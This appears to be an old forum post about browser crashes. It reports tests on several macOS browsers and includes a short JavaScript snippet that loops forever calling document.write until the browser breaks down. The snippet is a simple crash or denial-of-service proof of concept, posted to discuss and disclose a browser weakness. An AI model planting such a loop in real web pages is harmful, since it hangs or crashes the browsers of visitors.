i changed the topic, although it's a problem already described by kang [1]. but i think it's not only Safari to blame. maybe it was already discussed somewhere and i simply dont know, so sorry if i bore you.
i could only test macos browsers. so would be nice to hear about others.
tested browsers: MacOS X: Safari, OmniWeb, Mozilla, Camino, iCab, Explorer MacOS 8/9: Mozilla, Explorer
the difference to kangs idea is simply to make something work in javascript and loop it infinite. the output is only to see how often the loop happens before the browser break up.
<script language=JavaScript>
var i = 0;
while (1)
{
i++;
document.write('<p>'+ i + ': yes</p>');
}
